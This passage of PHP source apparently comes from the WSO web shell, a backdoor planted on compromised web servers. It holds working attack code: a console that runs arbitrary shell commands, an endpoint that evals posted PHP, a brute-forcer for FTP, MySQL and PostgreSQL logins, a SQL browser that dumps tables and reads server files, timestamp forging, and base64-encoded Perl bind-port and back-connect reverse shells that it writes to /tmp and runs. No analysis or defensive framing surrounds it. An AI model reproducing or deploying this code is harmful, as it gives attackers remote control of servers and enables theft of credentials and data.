1021 case 'rename':
1022 if( !empty($_POST['p3']) ) {
1023 if(!@rename($_POST['p1'], $_POST['p3']))
1024 echo 'Can\'t rename!<br>';
1025 else
1026 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1027 }
1028 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1029 break;
1030 case 'touch':
1031 if( !empty($_POST['p3']) ) {
1032 $time = strtotime($_POST['p3']);
1033 if($time) {
1034 if(!touch($_POST['p1'],$time,$time))
1035 echo 'Fail!';
1036 else
1037 echo 'Touched!';
1038 } else echo 'Bad time format!';
1039 }
1040 clearstatcache();
1041 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1042 break;
1043 }
1044 echo '</div>';
1045 wsoFooter();
1046}
1047function actionConsole() {
1048 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1049 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1050 $_POST['p1'] .= ' 2>&1';
1051 } elseif(!empty($_POST['p1']))
1052 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1053
1054 if(isset($_POST['ajax'])) {
1055 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1056 ob_start();
1057 echo "d.cf.cmd.value='';\n";
1058 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1059 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1060 if(@chdir($match[1])) {
1061 $GLOBALS['cwd'] = @getcwd();
1062 echo "c_='".$GLOBALS['cwd']."';";
1063 }
1064 }
1065 echo "d.cf.output.value+='".$temp."';";
1066 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1067 $temp = ob_get_clean();
1068 echo strlen($temp), "\n", $temp;
1069 exit;
1070 }
1071 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1072 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1073 wsoHeader();
1074 echo "<script>
1075if(window.Event) window.captureEvents(Event.KEYDOWN);
1076var cmds = new Array('');
1077var cur = 0;
1078function kp(e) {
1079 var n = (window.Event) ? e.which : e.keyCode;
1080 if(n == 38) {
1081 cur--;
1082 if(cur>=0)
1083 document.cf.cmd.value = cmds[cur];
1084 else
1085 cur++;
1086 } else if(n == 40) {
1087 cur++;
1088 if(cur < cmds.length)
1089 document.cf.cmd.value = cmds[cur];
1090 else
1091 cur--;
1092 }
1093}
1094function add(cmd) {
1095 cmds.pop();
1096 cmds.push(cmd);
1097 cmds.push('');
1098 cur = cmds.length-1;
1099}
1100</script>";
1101 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1102 foreach($GLOBALS['aliases'] as $n => $v) {
1103 if($v == '') {
1104 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1105 continue;
1106 }
1107 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1108 }
1109
1110 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1111 if(!empty($_POST['p1'])) {
1112 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1113 }
1114 echo '</textarea><table style="border:1px solid #25ff00;background-color:#051019;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1115 echo '</form></div><script>d.cf.cmd.focus();</script>';
1116 wsoFooter();
1117}
1118function actionLogout() {
1119 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1120 $uri=$_SERVER['REQUEST_URI'];
1121 $a=explode("?",$uri);
1122 echo "<script>window.location='".$a[0]."';</script>";
1123}
1124function actionSelfRemove() {
1125
1126 if($_POST['p1'] == 'yes')
1127 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1128 die('Shell removed');
1129 else
1130 echo 'unlink error!';
1131 if($_POST['p1'] != 'yes')
1132 wsoHeader();
1133 echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1134 wsoFooter();
1135}
1136function actionBruteforce() {
1137 wsoHeader();
1138 if( isset($_POST['proto']) ) {
1139 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1140 if( $_POST['proto'] == 'ftp' ) {
1141 function wsoBruteForce($ip,$port,$login,$pass) {
1142 $fp = @ftp_connect($ip, $port?$port:21);
1143 if(!$fp) return false;
1144 $res = @ftp_login($fp, $login, $pass);
1145 @ftp_close($fp);
1146 return $res;
1147 }
1148 } elseif( $_POST['proto'] == 'mysql' ) {
1149 function wsoBruteForce($ip,$port,$login,$pass) {
1150 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1151 @mysql_close($res);
1152 return $res;
1153 }
1154 } elseif( $_POST['proto'] == 'pgsql' ) {
1155 function wsoBruteForce($ip,$port,$login,$pass) {
1156 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1157 $res = @pg_connect($str);
1158 @pg_close($res);
1159 return $res;
1160 }
1161 }
1162 $success = 0;
1163 $attempts = 0;
1164 $server = explode(":", $_POST['server']);
1165 if($_POST['type'] == 1) {
1166 $temp = @file('/etc/passwd');
1167 if( is_array($temp) )
1168 foreach($temp as $line) {
1169 $line = explode(":", $line);
1170 ++$attempts;
1171 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1172 $success++;
1173 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1174 }
1175 if(@$_POST['reverse']) {
1176 $tmp = "";
1177 for($i=strlen($line[0])-1; $i>=0; --$i)
1178 $tmp .= $line[0][$i];
1179 ++$attempts;
1180 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1181 $success++;
1182 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1183 }
1184 }
1185 }
1186 } elseif($_POST['type'] == 2) {
1187 $temp = @file($_POST['dict']);
1188 if( is_array($temp) )
1189 foreach($temp as $line) {
1190 $line = trim($line);
1191 ++$attempts;
1192 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1193 $success++;
1194 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1195 }
1196 }
1197 }
1198 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1199 }
1200 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1201 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1202 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1203 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1204 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1205 .'<span>Server:port</span></td>'
1206 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1207 .'<tr><td><span>Brute type</span></td>'
1208 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1209 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1210 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1211 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1212 .'<td><input type=text name=login value="root"></td></tr>'
1213 .'<tr><td><span>Dictionary</span></td>'
1214 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1215 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1216 echo '</div><br>';
1217 wsoFooter();
1218}
1219function actionSql() {
1220 class DbClass {
1221 var $type;
1222 var $link;
1223 var $res;
1224 function DbClass($type) {
1225 $this->type = $type;
1226 }
1227 function connect($host, $user, $pass, $dbname){
1228 switch($this->type) {
1229 case 'mysql':
1230 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1231 break;
1232 case 'pgsql':
1233 $host = explode(':', $host);
1234 if(!$host[1]) $host[1]=5432;
1235 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1236 break;
1237 }
1238 return false;
1239 }
1240 function selectdb($db) {
1241 switch($this->type) {
1242 case 'mysql':
1243 if (@mysql_select_db($db))return true;
1244 break;
1245 }
1246 return false;
1247 }
1248 function query($str) {
1249 switch($this->type) {
1250 case 'mysql':
1251 return $this->res = @mysql_query($str);
1252 break;
1253 case 'pgsql':
1254 return $this->res = @pg_query($this->link,$str);
1255 break;
1256 }
1257 return false;
1258 }
1259 function fetch() {
1260 $res = func_num_args()?func_get_arg(0):$this->res;
1261 switch($this->type) {
1262 case 'mysql':
1263 return @mysql_fetch_assoc($res);
1264 break;
1265 case 'pgsql':
1266 return @pg_fetch_assoc($res);
1267 break;
1268 }
1269 return false;
1270 }
1271 function listDbs() {
1272 switch($this->type) {
1273 case 'mysql':
1274 return $this->query("SHOW databases");
1275 break;
1276 case 'pgsql':
1277 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1278 break;
1279 }
1280 return false;
1281 }
1282 function listTables() {
1283 switch($this->type) {
1284 case 'mysql':
1285 return $this->res = $this->query('SHOW TABLES');
1286 break;
1287 case 'pgsql':
1288 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1289 break;
1290 }
1291 return false;
1292 }
1293 function error() {
1294 switch($this->type) {
1295 case 'mysql':
1296 return @mysql_error();
1297 break;
1298 case 'pgsql':
1299 return @pg_last_error();
1300 break;
1301 }
1302 return false;
1303 }
1304 function setCharset($str) {
1305 switch($this->type) {
1306 case 'mysql':
1307 if(function_exists('mysql_set_charset'))
1308 return @mysql_set_charset($str, $this->link);
1309 else
1310 $this->query('SET CHARSET '.$str);
1311 break;
1312 case 'pgsql':
1313 return @pg_set_client_encoding($this->link, $str);
1314 break;
1315 }
1316 return false;
1317 }
1318 function loadFile($str) {
1319 switch($this->type) {
1320 case 'mysql':
1321 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1322 break;
1323 case 'pgsql':
1324 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1325 $r=array();
1326 while($i=$this->fetch())
1327 $r[] = $i['file'];
1328 $this->query('drop table wso2');
1329 return array('file'=>implode("\n",$r));
1330 break;
1331 }
1332 return false;
1333 }
1334 function dump($table, $fp = false) {
1335 switch($this->type) {
1336 case 'mysql':
1337 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1338 $create = mysql_fetch_array($res);
1339 $sql = $create[1].";\n";
1340 if($fp) fwrite($fp, $sql); else echo($sql);
1341 $this->query('SELECT * FROM `'.$table.'`');
1342 $i = 0;
1343 $head = true;
1344 while($item = $this->fetch()) {
1345 $sql = '';
1346 if($i % 1000 == 0) {
1347 $head = true;
1348 $sql = ";\n\n";
1349 }
1350
1351 $columns = array();
1352 foreach($item as $k=>$v) {
1353 if($v === null)
1354 $item[$k] = "NULL";
1355 elseif(is_int($v))
1356 $item[$k] = $v;
1357 else
1358 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1359 $columns[] = "`".$k."`";
1360 }
1361 if($head) {
1362 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1363 $head = false;
1364 } else
1365 $sql .= "\n\t,(".implode(", ", $item).')';
1366 if($fp) fwrite($fp, $sql); else echo($sql);
1367 $i++;
1368 }
1369 if(!$head)
1370 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1371 break;
1372 case 'pgsql':
1373 $this->query('SELECT * FROM '.$table);
1374 while($item = $this->fetch()) {
1375 $columns = array();
1376 foreach($item as $k=>$v) {
1377 $item[$k] = "'".addslashes($v)."'";
1378 $columns[] = $k;
1379 }
1380 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1381 if($fp) fwrite($fp, $sql); else echo($sql);
1382 }
1383 break;
1384 }
1385 return false;
1386 }
1387 };
1388 $db = new DbClass($_POST['type']);
1389 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1390 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1391 $db->selectdb($_POST['sql_base']);
1392 switch($_POST['charset']) {
1393 case "Windows-1251": $db->setCharset('cp1251'); break;
1394 case "UTF-8": $db->setCharset('utf8'); break;
1395 case "KOI8-R": $db->setCharset('koi8r'); break;
1396 case "KOI8-U": $db->setCharset('koi8u'); break;
1397 case "cp866": $db->setCharset('cp866'); break;
1398 }
1399 if(empty($_POST['file'])) {
1400 ob_start("ob_gzhandler", 4096);
1401 header("Content-Disposition: attachment; filename=dump.sql");
1402 header("Content-Type: text/plain");
1403 foreach($_POST['tbl'] as $v)
1404 $db->dump($v);
1405 exit;
1406 } elseif($fp = @fopen($_POST['file'], 'w')) {
1407 foreach($_POST['tbl'] as $v)
1408 $db->dump($v, $fp);
1409 fclose($fp);
1410 unset($_POST['p2']);
1411 } else
1412 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1413 }
1414 wsoHeader();
1415 echo "
1416<h1>Sql browser</h1><div class=content>
1417<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1418<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1419<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1420<td><select name='type'><option value='mysql' ";
1421 if(@$_POST['type']=='mysql')echo 'selected';
1422echo ">MySql</option><option value='pgsql' ";
1423if(@$_POST['type']=='pgsql')echo 'selected';
1424echo ">PostgreSql</option></select></td>
1425<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1426<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1427<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1428 $tmp = "<input type=text name=sql_base value=''>";
1429 if(isset($_POST['sql_host'])){
1430 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1431 switch($_POST['charset']) {
1432 case "Windows-1251": $db->setCharset('cp1251'); break;
1433 case "UTF-8": $db->setCharset('utf8'); break;
1434 case "KOI8-R": $db->setCharset('koi8r'); break;
1435 case "KOI8-U": $db->setCharset('koi8u'); break;
1436 case "cp866": $db->setCharset('cp866'); break;
1437 }
1438 $db->listDbs();
1439 echo "<select name=sql_base><option value=''></option>";
1440 while($item = $db->fetch()) {
1441 list($key, $value) = each($item);
1442 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1443 }
1444 echo '</select>';
1445 }
1446 else echo $tmp;
1447 }else
1448 echo $tmp;
1449 echo "</td>
1450 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1451 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1452 </tr>
1453 </table>
1454 <script>
1455 s_db='".@addslashes($_POST['sql_base'])."';
1456 function fs(f) {
1457 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1458 if(f.p1) f.p1.value='';
1459 if(f.p2) f.p2.value='';
1460 if(f.p3) f.p3.value='';
1461 }
1462 }
1463 function st(t,l) {
1464 d.sf.p1.value = 'select';
1465 d.sf.p2.value = t;
1466 if(l && d.sf.p3) d.sf.p3.value = l;
1467 d.sf.submit();
1468 }
1469 function is() {
1470 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1471 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1472 }
1473 </script>";
1474 if(isset($db) && $db->link){
1475 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1476 if(!empty($_POST['sql_base'])){
1477 $db->selectdb($_POST['sql_base']);
1478 echo "<tr><td width=1 style='border-top:2px solid #25ff00;'><span>Tables:</span><br><br>";
1479 $tbls_res = $db->listTables();
1480 while($item = $db->fetch($tbls_res)) {
1481 list($key, $value) = each($item);
1482 if(!empty($_POST['sql_count']))
1483 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1484 $value = htmlspecialchars($value);
1485 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1486 }
1487 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #25ff00;'>";
1488 if(@$_POST['p1'] == 'select') {
1489 $_POST['p1'] = 'query';
1490 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1491 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1492 $num = $db->fetch();
1493 $pages = ceil($num['n'] / 30);
1494 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1495 echo " of $pages";
1496 if($_POST['p3'] > 1)
1497 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>Prev</a>";
1498 if($_POST['p3'] < $pages)
1499 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next</a>";
1500 $_POST['p3']--;
1501 if($_POST['type']=='pgsql')
1502 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1503 else
1504 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1505 echo "<br><br>";
1506 }
1507 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1508 $db->query(@$_POST['p2']);
1509 if($db->res !== false) {
1510 $title = false;
1511 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#051019">';
1512 $line = 1;
1513 while($item = $db->fetch()) {
1514 if(!$title) {
1515 echo '<tr>';
1516 foreach($item as $key => $value)
1517 echo '<th>'.$key.'</th>';
1518 reset($item);
1519 $title=true;
1520 echo '</tr><tr>';
1521 $line = 2;
1522 }
1523 echo '<tr class="l'.$line.'">';
1524 $line = $line==1?2:1;
1525 foreach($item as $key => $value) {
1526 if($value == null)
1527 echo '<td><i>null</i></td>';
1528 else
1529 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1530 }
1531 echo '</tr>';
1532 }
1533 echo '</table>';
1534 } else {
1535 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1536 }
1537 }
1538 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1539 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1540 echo htmlspecialchars($_POST['p2']);
1541 echo "</textarea><br/><input type=submit value='Execute'>";
1542 echo "</td></tr>";
1543 }
1544 echo "</table></form><br/>";
1545 if($_POST['type']=='mysql') {
1546 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1547 if($db->fetch())
1548 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1549 }
1550 if(@$_POST['p1'] == 'loadfile') {
1551 $file = $db->loadFile($_POST['p2']);
1552 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1553 }
1554 } else {
1555 echo htmlspecialchars($db->error());
1556 }
1557 echo '</div>';
1558 wsoFooter();
1559}
1560function actionNetwork() {
1561 wsoHeader();
1562 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1563 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1564 echo "<h1>Network tools</h1><div class=content>
1565 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1566 <span>Bind port to /bin/sh [perl]</span><br/>
1567 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1568 </form>
1569 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1570 <span>Back-connect [perl]</span><br/>
1571 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1572 </form><br>";
1573 if(isset($_POST['p1'])) {
1574 function cf($f,$t) {
1575 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1576 if($w){
1577 @fwrite($w,@base64_decode($t));
1578 @fclose($w);
1579 }
1580 }
1581 if($_POST['p1'] == 'bpp') {
1582 cf("/tmp/bp.pl",$bind_port_p);
1583 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1584 sleep(1);
1585 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1586 unlink("/tmp/bp.pl");
1587 }
1588 if($_POST['p1'] == 'bcp') {
1589 cf("/tmp/bc.pl",$back_connect_p);
1590 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1591 sleep(1);
1592 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1593 unlink("/tmp/bc.pl");
1594 }
1595 }
1596 echo '</div>';
1597 wsoFooter();
1598}
1599function actionRC() {
1600 if(!@$_POST['p1']) {
1601 $a = array(
1602 "uname" => php_uname(),
1603 "php_version" => phpversion(),
1604 "safemode" => @ini_get('safe_mode')
1605 );
1606 echo serialize($a);
1607 } else {
1608 eval($_POST['p1']);
1609 }
1610}
1611if( empty($_POST['a']) ) {
1612 if(isset($_GET['do'])){
1613 if(isset($_GET['jump']))
1614 call_user_func('action'.$default_action);
1615 else
1616 call_user_func('action' . $_GET['do']);
1617 }else{
1618 call_user_func('action' . $default_action);
1619 }
1620}
1621else{
1622 call_user_func('action'.$_POST['a']);
1623}
1624exit;